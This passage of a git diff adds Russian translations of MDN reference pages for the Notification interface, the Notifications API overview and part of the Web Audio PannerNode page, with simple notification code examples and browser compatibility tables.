+ <dd>URL изображения, используемого в качестве иконки уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>URL изображения, которое должно быть изображено в уведомлении, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>Определяет, должен ли пользователь снова быть уведомлен, если новое уведомление заменяет предыдущее.</dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd><a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Boolean">Булево значение</a>, отражающее, останется ли уведомление активным до тех пор, пока пользователь вручную не кликнет или не закроет его, в противоположность автоматическому закрытию со временем. </dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Указывает, должно ли уведомление не сопровождаться звуковым или вибро сигналом, независимо от настроек устройства.</dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>Указывает время, в которое уведомление создано, либо применимо (в прошлом, настоящем или будущем).</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>Заголовок уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Задает шаблон вибрации для устройств с вибро.</dd>
+</dl>
+
+<h4 id="Не_поддерживаемые_свойства">Не поддерживаемые свойства</h4>
+
+<p>Следующие свойства указаны в наиболее актуальной спецификации, но пока что не поддерживаются браузерами. Рекомендуем регулярно проверять актуальность этой информации, и если их статус изменится, пожалуйста, просим оповестить нас.</p>
+
+<dl>
+ <dt>
+ <p>{{domxref("Notification.noscreen")}} {{readonlyinline}}</p>
+ </dt>
+ <dd>Определяет, должно ли срабатывание уведомления включать дисплей устройства или нет.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>Определяет, должно ли уведомление быть "липким", то есть не легко закрываемым.</dd>
+</dl>
+
+<h4 id="Обработчики_событий">Обработчики событий</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Обработчик события {{event("click")}}. Срабатывает каждый раз, когда пользователь кликает по уведомлению.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>Обработчик события {{event("error")}}. Срабатывает каждый раз, когда уведомление сталкивается с ошибкой. </dd>
+</dl>
+
+<h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4>
+
+<p>Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>Обработчик события {{event("close")}}. Срабатывает при закрытии уведомления пользователем.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>Обработчик события {{event("show")}}. Срабатывает при отображении уведомления.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>Определяет звуковой файл для воспроизведения при уведомлении, по умолчанию установлен системный звук.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="Собственные_методы">Собственные методы</h3>
+
+<p>Следующие методы доступны только для самого объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>Запрашивает разрешение у пользователя показывать уведомления.</dd>
+</dl>
+
+<h3 id="Методы_экземпляра">Методы экземпляра</h3>
+
+<p>Следующие методы доступны только для экземпляров объекта <code>Notification</code>, либо через его <code><a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">прототип</a></code>. Объект <code>Notification</code> также наследует методы интерфейса {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Программно закрывает уведомление.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Базовый HTML:</p>
+
+<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>Отправить уведомление можно следующим образом — ниже представлен довольно подробный и полный набор кода, который вы могли бы использовать для того, чтобы сначала проверить поддержку уведомлений, затем проверить, позволено ли данному источнику отправлять уведомления, и наконец, запросив разрешение, если требуется, отправить уведомление.</p>
+
+<pre class="brush: js">function notifyMe() {
+  // Проверка поддержки браузером уведомлений
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Проверка разрешения на отправку уведомлений
+  else if (Notification.permission === "granted") {
+    // Если разрешено, то создаем уведомление
+    var notification = new Notification("Hi there!");
+  }
+
+  // В противном случае, запрашиваем разрешение
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // Если пользователь разрешил, то создаем уведомление
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // В конечном счете, если пользователь отказался от получения
+  // уведомлений, то стоит уважать его выбор и не беспокоить его
+  // по этому поводу.
+}</pre>
+
+<p>{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80', '100%', 30)}}</p>
+
+<p>В большинстве случаев вам не надо быть столь многословными. Например в нашем <a href="http://mdn.github.io/emogotchi/">демо Emogotchi</a> (<a href="https://github.com/mdn/emogotchi">исходный код</a>), мы просто запускаем {{domxref("Notification.requestPermission")}} несмотря ни на что, чтобы быть уверенными, что мы сможем получить разрешение на отправку уведомлений (тут используется синтаксис новейшего promise-based метода):</p>
+
+<pre class="brush: js"><code>Notification.requestPermission().then(function(result) {
+  console.log(result);
+});</code></pre>
+
+<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.</p>
+
+<pre class="brush: js"><code>function spawnNotification(body, icon, title) {
+  var options = {
+      body: body,
+      icon: icon
+  };
+  var n = new Notification(title, options);
+}</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Уровень жизни </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+<p>До Chrome 32, {{domxref("Notification.permission")}} не поддерживается.</p>
+
+<p>До Chrome 42, дополнения service worker не поддерживаются.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+<p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+<p>Nick Desaulniers написал <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a>, чтобы покрыть как новые так и старые реализации.</p>
+
+<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari начали поддержку уведомлений с Safari 6, но только на Mac OSX 10.8+ (Mountain Lion).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
+
+<p> </p>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..e7963229e2
--- /dev/null
+++ b/files/ru/web/api/notifications_api/index.html
@@ -0,0 +1,191 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>На поддерживаемых платформах, отображение системных уведомлений обычно включает две вещи. Во-первых, пользователь должен разрешить текущему источнику отображать уведомления, что, как правило, происходит, при первичной загрузке приложения или сайта, используя метод  {{domxref("Notification.requestPermission()")}}. Далее будет вызван диалог со следующим текстом:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p>Здесь пользователь может выбрать разрешить уведомления от источника, заблокировать их или решить позже. Как только выбор будет сделан, для текущей сессии будут установлены настройки. </p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Для Firefox 44, разрешения для Notifications и <a href="/en-US/docs/Web/API/Push_API">Push</a> объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .</p>
+</div>
+
+<p>Затем создается новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>В дополнение, спецификация Notifications API определет несколько дополнений для <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, чтобы позволить им отправлять уведомления.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Чтобы найти больше об использовани уведомлений в вашем приложении, читайте <a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Использование Notifications API</a>.</p>
+</div>
+
+<h2 id="Интерфейс_уведомлений">Интерфейс уведомлений</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>Определяет объект уведомления.</dd>
+</dl>
+
+<h3 id="Дополнение_для_Service_worker">Дополнение для Service worker</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>Включает {{domxref("ServiceWorkerRegistration.showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()")}} методы для контролирования отображения уведомлений.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Включает обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} для вызова встроенных функций, когда был выполнен клик на уведомлении.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>Особый тип объекта событий, осованный на {{domxref("ExtendableEvent")}}, который представляет уведомление, которое было вызвано.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>
+    <p>{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("42.0")}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile(22.0)}}</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42.0)}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification()</code> method. In addition, the Notification was displayed when calling the <code>show()</code> method and supported only the <code>click</code> and <code>close</code> events (Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.)</p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<p>[4] Firefox 42 has shipped with web notifications from Service Workers disabled.</p>
+
+<h2 id="Firefox_OS_разрешения">Firefox OS разрешения</h2>
+
+<p>Когда используете уведомления в приложении на Firefox OS, убедитесь, что <code>desktop-notification</code> установленно в вашем фаине манифеста. Уведомления могут быть использованы для любомого уровня разрешения, равного или выше:</p>
+
+<pre class="brush: json">"permissions": {
+  "desktop-notification": {}
+}</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Использование Notifications API</a></li>
+</ul>
diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html
new file mode 100644
index 0000000000..c8076f49df
--- /dev/null
+++ b/files/ru/web/api/pannernode/index.html
@@ -0,0 +1,265 @@
+---
+title: PannerNode
+slug: Web/API/PannerNode
+translation_of: Web/API/PannerNode
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<div class="note_trans">
+<div>Интерфейс <code>PannerNode</code> представляет положение источника звука и поведение его сигнала в пространстве. Это модуль {{domxref("AudioNode")}} для обработки звука, описывающий его положение (в правосторонней системе координат Декарта), его перемещение (с помощью вектора скорости распространения) и его направленности (при помощи конуса направления).</div>
+</div>
+</div>
+
+<div class="note_trans">
+<div><code>PannerNode</code> всегда имеет только один вход и один выход: вход может быть <em>моно</em> или <em>стерео</em>, но выход всегда <em>стерео</em> (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!</div>
+</div>
+
+<p><img alt="PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Число входов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Число выходов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Режим подсчета каналов</th>
+   <td><code>"clamped-max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Представление канала</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("PannerNode.PannerNode")}}</dt>
+ <dd>
+ <div class="note_trans">
+ <div>
+ <dl>
+  <dd>Создает новый экземпляр <code>PannerNode.</code></dd>
+ </dl>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<div class="note_trans">
+<div>Наследует свойства от своего родителя<em>, {{domxref("AudioNode")}}</em>. </div>
+</div>
+
+<div class="note">
+<p>Значения направления и положения устанавливаются и получаются различными вариантами синтаксиса, поскольку они хранятся в виде значений {{domxref("AudioParam")}}. Получение значения осуществляется через обращение, например так,<code> PannerNode.positionX</code>. Установка того же свойства делается так,<code> PannerNode.positionX.value</code>. This is why these values are not marked read only, which is how they appear in the WebIDL.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("PannerNode.coneInnerAngle")}}</dt>
+ <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), внутри которого не будет уменьшения громкости.</dd>
+ <dt>{{domxref("PannerNode.coneOuterAngle")}}</dt>
+ <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом <code>coneOuterGain.</code></dd>
+ <dt>{{domxref("PannerNode.coneOuterGain")}}</dt>
+ <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd>
+ <dt>{{domxref("PannerNode.distanceModel")}}</dt>
+ <dd>Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.</dd>
+ <dt>{{domxref("PannerNode.maxDistance")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее максимальное расстояние между источником звука и слушателем, после которого громкость звука далее не уменьшается.</dd>
+ <dt>{{domxref("PannerNode.orientationX")}}</dt>
+ <dd>Представляет горизонтальное положение вектора источника звука в правосторонней системе координат Декарта. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}} . Значение по умолчанию равно 1.</dd>
+ <dt>{{domxref("PannerNode.orientationY")}}</dt>
+ <dd>Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.orientationZ")}}</dt>
+ <dd>Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.panningModel")}}</dt>
+ <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.</dd>
+ <dt>{{domxref("PannerNode.positionX")}}</dt>
+ <dd>Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.positionY")}}</dt>
+ <dd>Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.positionZ")}}</dt>
+ <dd>Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.refDistance")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.</dd>
+ <dt>{{domxref("PannerNode.rolloffFactor")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее как быстро уменьшается громкость при удалении источника звука от слушателя. Данное значение используется во всех моделях изменения громкости от расстояния.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<div class="note_trans">
+<div>Наследует методы от своего родителя<em>, {{domxref("AudioNode")}}</em>.</div>
+
+<div> </div>
+</div>
+
+<dl>
+ <dt>{{domxref("PannerNode.setPosition()")}}</dt>
+ <dd>Определяет положение источника звука относительно слушателя (представлен объектом {{domxref("AudioListener")}}, хранящимся в атрибуте {{domxref("AudioContext.listener")}} ).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("PannerNode.setOrientation()")}}</dt>
+ <dd>Определяет направление воспроизведения источника звука.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}</dt>
+ <dd>Это устаревший элемент API и его работа в дальнейшем не гарантируется.<br>
+ Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/ru/docs/Web/API/AudioContext.createPanner","Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-pannernode-interface', 'PannerNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
